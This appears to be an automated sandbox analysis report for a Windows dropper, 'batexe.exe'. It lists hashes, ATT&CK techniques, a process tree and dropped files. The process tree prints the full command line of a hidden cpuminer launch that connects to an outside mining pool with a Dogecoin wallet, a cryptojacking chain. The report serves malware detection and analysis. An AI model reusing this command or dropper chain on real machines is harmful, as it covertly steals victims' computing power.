73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
293s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
23/02/2024, 15:15

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
332	b2e.exe
5544	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5544	cpuminer-sse2.exe
5544	cpuminer-sse2.exe
5544	cpuminer-sse2.exe
5544	cpuminer-sse2.exe
5544	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4488-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4488 wrote to memory of 332	4488	batexe.exe	91
PID 4488 wrote to memory of 332	4488	batexe.exe	91
PID 4488 wrote to memory of 332	4488	batexe.exe	91
PID 332 wrote to memory of 3000	332	b2e.exe	92
PID 332 wrote to memory of 3000	332	b2e.exe	92
PID 332 wrote to memory of 3000	332	b2e.exe	92
PID 3000 wrote to memory of 5544	3000	cmd.exe	95
PID 3000 wrote to memory of 5544	3000	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4488
- C:\Users\Admin\AppData\Local\Temp\8889.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8889.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8889.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8D4C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3000
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8889.tmp\b2e.exe

Filesize
10.5MB

MD5
7ce50d3755352dcd6d2e399a76f1f310

SHA1
a01ed0f688b8ea3d11ff9031e0856542b8fd4bfb

SHA256
1ea3248866c41776b2f0a0a46e996b2e5fd024100c744e898c39245f731d8910

SHA512
918a3dea3b4660e19d69f5487a711b663947d4282e07b15645ac5e853307548100042575a6e35ddf832ee3985a4f53b176e126ce7709209625f9b37624677bb8

Download Submit
C:\Users\Admin\AppData\Local\Temp\8889.tmp\b2e.exe

Filesize
10.3MB

MD5
3e81cf7383545c86f696f7443da4888e

SHA1
9336da470ab558a577e87007bea53244ea67f34d

SHA256
24e06dc83000f42b9d181cfff7960a085bc5016227578fae4d1d6a514c3a8abb

SHA512
99ed1f89fed55db1860e15af7deb03e760c03623f2e514e14a0328e6147eeaa6d7648fa94855d9a7a26d002c12cccc172363e543a0b381312adcc8f07e47f6fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\8889.tmp\b2e.exe

Filesize
9.8MB

MD5
653b804fd7546d3cd522d5797abc5c2a

SHA1
7e72332dc00c46e629ef83a733cd385019d2ebb3

SHA256
e0b5eba2713e26b4ef6d7703cc1cbf0363cde7fdf5ac358cff78ded4f23ba261

SHA512
07e9142d2423e93f2a48d49beb3cfb41e32854647c9b86488b314ea75ce4a0b206c19e318672b1ac6bb9c783d6657e9a134b71ed7b321ad311da4cd2997daa92

Download Submit
C:\Users\Admin\AppData\Local\Temp\8D4C.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
14.2MB

MD5
3029f3f926308bb8033e9a0dbe947dfa

SHA1
f9bb95a99fcbecdf21f66401cdc6783152f2ebc7

SHA256
def60eaeb9495e1181892efc18e0f3b83044f6dc0a1894f53927ca657d148d85

SHA512
6492f491d375dd1869a8fbbaf761644287fe8870fad6ef264a48aabc014eafe30d6829ba3fc03718bae37ba6f7d09e9fdf01aa3d02f9eef010f72a573100ec39

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
12.6MB

MD5
65c7685efcc8994e0fd7ce1984e39871

SHA1
9828fe657977095bf3083ae7fbc145a58f12a587

SHA256
00455ddbe09b3404b3237419efb56f83469b2173b957b7351e6f22cfb73077d2

SHA512
554b87c057e360b8a66f1cd531ad0566054ee9b915d5bcdd8119d1755761c64a24fba35fc14dfd34b66855d6463a17615cea01721eb7674c4b7812a735ed6a6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.1MB

MD5
0cc3fba72f6948e0f78f9f68146b2efe

SHA1
36d7cf988d9d15baccc6015f5d68b85f2194ea3c

SHA256
b0d8694a68c197fa8d21c634cb1555ca93df472042580837e32605fad2dab3e2

SHA512
4319e54364f613334c00629b370543f6bb926c707f74a8db00cbe97914bf0a6ee6b55e01c4b9df07913e7c3d4acfb13b653dfddf4a773cd2253dbf17707145cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/332-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/332-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4488-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5544-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5544-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5544-46-0x000000006FDB0000-0x000000006FE48000-memory.dmp

Filesize
608KB

Download
memory/5544-47-0x0000000001120000-0x00000000029D5000-memory.dmp

Filesize
24.7MB

Download
memory/5544-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5544-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5544-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5544-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5544-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5544-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5544-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5544-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5544-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5544-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5544-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download